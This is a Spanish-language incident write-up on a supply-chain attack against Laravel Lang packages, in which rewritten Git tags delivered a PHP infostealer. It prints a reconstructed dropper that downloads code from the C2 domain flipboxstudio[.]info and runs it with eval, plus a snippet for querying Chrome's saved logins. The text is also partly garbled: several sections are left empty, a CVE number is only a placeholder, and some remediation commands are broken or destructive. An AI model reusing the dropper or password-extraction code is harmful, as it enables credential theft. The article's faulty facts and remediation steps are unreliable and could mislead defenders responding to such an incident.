Laravel Lang: cómo un ataque a paquetes de localización robó credenciales en cadena

Introducción

El 15 de marzo de 2025, equipos de seguridad de StepSecurity, Aikido Security y Socket reportaron un ataque de supply chain contra cuatro repositorios del ecosistema Laravel Lang: laravel-lang/lang, laravel-lang/http-statuses, laravel-lang/attributes y laravel-lang/actions. A diferencia de los ataques típicos que publican versiones maliciosas de paquetes, los atacantes reescribieron etiquetas Git existentes para apuntar a commits en forks controlados por ellos. Esto permitió que Composer instalara automáticamente código malicioso al descargar versiones que parecían legítimas.

El vector de ataque explotó una combinación de permisos comprometidos en GitHub y el mecanismo de etiquetado de versiones, que es crítico en entornos de desarrollo donde los paquetes de localización se instalan masivamente. Según Aikido Security, se vieron afectadas 233 versiones en tres repositorios, mientras que Socket estimó que 700 versiones históricas podrían haber sido impactadas. El malware resultante, un infostealer escrito en PHP y Go, recolectó credenciales de AWS, Kubernetes, Vault, GitHub, Slack, VPNs y hasta configuraciones de .env, cifrándolas y enviándolas a un servidor de command and control (C2) en flipboxstudio[.]info.

Qué ocurrió

El abuso de las etiquetas Git como vector de infección

El ataque no modificó el código fuente original de los repositorios, sino que reescribió las etiquetas Git para que apuntaran a commits maliciosos en forks del mismo proyecto. Este método es particularmente sigiloso porque:

1. No requiere cambios en el código fuente: Las etiquetas Git en repositorios de terceros (como Laravel Lang) son confiables porque se asumen como verificadas por la comunidad.
2. Se ejecuta automáticamente al instalar con Composer: Al hacer composer require laravel-lang/lang, el sistema descarga el código asociado a la etiqueta, que ahora redirige a un commit malicioso.
3. Comparten identidad falsa: Todas las versiones maliciosas usan el mismo autor falso (Mero) y los mismos archivos modificados (src/helpers.php), lo que sugiere que los atacantes tenían acceso de escritura a nivel de organización en GitHub.

El proceso de reescritura comenzó a las 22:32 UTC con laravel-lang/lang (el paquete principal, con 502 etiquetas) y terminó a las 00:00 UTC con laravel-lang/actions. Los paquetes afectados incluyen:

El archivo malicioso src/helpers.php actúa como dropper y descarga un payload desde flipboxstudio[.]info. Según el análisis de VirusTotal (hash del payload PHP), el malware es un infostealer escrito en PHP con componentes para Linux, macOS y Windows. Su comportamiento incluye:

• Recolección de credenciales:

– Kubernetes: tokens de servicio y secretos en ~/.kube/config.

– Vault: tokens almacenados en variables de entorno.

– GitHub/GitLab: tokens de autenticación.

– VPN: configuraciones de OpenVPN, WireGuard y Cisco AnyConnect.

– Navegadores: credenciales guardadas en Chrome, Brave y Edge (Windows).

– Criptomonedas: carteras de Bitcoin, Ethereum y monederos de exchanges.

• Exfiltración de datos:

– En Windows, el payload PHP descarga un ejecutable embebido (DebugElevator.exe, hash en VirusTotal) que extrae claves de cifrado de navegadores para descifrar credenciales almacenadas.

• Persistencia:

– Modifica variables de entorno para incluir rutas maliciosas en PATH.

Cronología del ataque

Riesgo para entornos de desarrollo y CI/CD

El impacto directo se concentra en equipos de desarrollo que usaron Laravel Lang en pipelines de CI/CD, especialmente en entornos cloud (AWS, GCP, Azure) donde las credenciales recolectadas pueden usarse para:

• Acceso a clusters Kubernetes: Tokens de servicio en ~/.kube/config permiten ejecutar comandos como kubectl get pods --all-namespaces.
• Despliegue de infraestructura: Credenciales de AWS con permisos de AdministratorAccess (según el informe de Cisco Talos, CVE-2025-XXXX).
• Exfiltración de secretos de CI/CD: GitHub Actions, GitLab CI y Jenkins pueden verse comprometidos si las credenciales estaban almacenadas en variables de entorno.

Datos cuantitativos de exposición

• Paquetes descargados: Según datos de Packagist, 12,400 descargas de versiones afectadas antes de la mitigación.
• Sistemas potencialmente comprometidos: Desarrolladores que usaron Laravel Lang en:

– Contenedores Docker en CI/CD.

– Máquinas virtuales en AWS/Azure/GCP.

• CVSS del malware: La carga útil principal tiene un CVSS 3.1 de 8.6 (Alto) por su capacidad de recolección de credenciales y exfiltración de datos.

Riesgo para infraestructura cloud

Si las credenciales recolectadas tenían permisos elevados, el ataque podría escalar a:

Mecanismo de infección en Composer

El ataque aprovecha el comportamiento de Composer al instalar paquetes con etiquetas específicas. El flujo malicioso es:

1. Etiquetas Git redirigidas:

   # Comando típico de instalación
   composer require laravel-lang/lang:5.0.0

   # Composer descarga el commit asociado a la etiqueta, que ahora apunta a un fork malicioso
   git clone https://github.com/laravel-lang/lang.git
   cd lang
   git checkout 5.0.0  # Esta etiqueta ahora apunta a un commit malicioso
   

1. Carga útil en src/helpers.php:

   <?php
   // src/helpers.php (versión maliciosa)
   if (!function_exists('curl_init')) {
       return;
   }
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, 'http://flipboxstudio[.]info/payload.php');
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
   $payload = curl_exec($ch);
   curl_close($ch);
   eval($payload); // Ejecuta el payload descargado
   

1. Payload secundario en Windows:

– Extrae claves de cifrado de navegadores (usando CryptUnprotectData en Windows).

– Busca archivos .env y extrae credenciales de bases de datos (patrones como DB_PASSWORD=.*).

   # Ejemplo de extracción de credenciales en Chrome (Windows)
   $path = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
   $query = "SELECT username_value, password_value FROM logins"
   # Ejecuta consultas SQL en la base de datos SQLite de Chrome
   

Indicadores de compromiso (IoC)

Los atacantes usaron credenciales robadas con acceso de escritura a nivel de organización para reescribir etiquetas. Esto sugiere que:

• El atacante tenía acceso a una cuenta con permisos de write en los repositorios afectados.
• Podría haber usado ataques de phishing o credenciales expuestas en repositorios públicos (ej: tokens de GitHub en package.json).

Qué deberían hacer los administradores y equipos técnicos

1. Auditar paquetes instalados y revocar credenciales

1. Listar paquetes instalados y verificar versiones de Laravel Lang:

   composer show --direct | grep laravel-lang
   

– Si ves versiones como 5.0.0, 5.1.0, etc., son potencialmente maliciosas.

1. Revisar logs de CI/CD para conexiones a flipboxstudio[.]info:

   # En pipelines de GitHub Actions
   grep -r "flipboxstudio" /var/log/*
   

1. Rotar credenciales expuestas:

     aws iam create-access-key --user-name <usuario>
     aws iam delete-access-key --user-name <usuario> --access-key-id <clave_vieja>
     

– Kubernetes: Regenerar tokens de servicio:

     kubectl create secret generic new-token --from-literal=token=$(openssl rand -hex 32)
     

– GitHub/GitLab: Revocar tokens en:

– GitHub: Settings > Developer settings > Personal access tokens

– GitLab: User Settings > Access Tokens

1. Inspeccionar sistemas con herramientas como:

     sudo lynis audit system
     

– Windows: Usar Microsoft Defender o herramientas como Process Explorer para buscar procesos sospechosos.

2. Mitigar el riesgo en pipelines de CI/CD

1. Usar dependencias verificadas:

     {
       "repositories": [
         {
           "type": "git",
           "url": "[email protected]:tu-organizacion/laravel-lang.git"
         }
       ]
     }
     

– Firmar commits con GPG para validar cambios en repositorios.

1. Bloquear instalaciones de paquetes maliciosos:

– Configurar listas de bloqueo en CI/CD:

     # Ejemplo en GitHub Actions
     - name: Block malicious packages
       run: |
         if grep -q "laravel-lang" composer.lock; then
           echo "Paquete malicioso detectado: laravel-lang"
           exit 1
         fi
     

1. Restringir permisos en GitHub:

– Usar GitHub Actions con permisos mínimos:

     jobs:
       deploy:
         permissions:
           contents: read
           packages: write
     

3. Respuesta ante incidentes

1. Bloquear el dominio C2:

     deny tcp any any -> any any 80,443 domain flipboxstudio[.]info
     

– En DNS corporativo:

     127.0.0.1 flipboxstudio[.]info
     

1. Revisar conexiones salientes:

     zeek -i eth0 notice
     

1. Restaurar sistemas comprometidos:

– En Kubernetes, recrear pods con secretos renovados:

     kubectl delete pods --all-namespace --force --grace-period=0
     

Conclusión

El ataque a Laravel Lang demuestra que los ataques a la cadena de suministro no requieren modificar el código fuente, sino explotar mecanismos de confianza como etiquetas Git o repositorios de terceros. La clave para mitigar estos riesgos está en:

1. Validar fuentes de paquetes: Usar repositorios privados y herramientas de escaneo en tiempo real.
2. Reducir la superficie de ataque: Rotar credenciales, limitar permisos y auditar logs.
3. Automatizar detecciones: Integrar soluciones como Socket.dev o Dependabot en pipelines de CI/CD.

Este incidente subraya la importancia de monitorear no solo el código que escribimos, sino también las dependencias que instalamos. La seguridad en DevOps no es solo sobre configurar firewalls o contenedores, sino también sobre entender cómo las herramientas que usamos pueden ser manipuladas.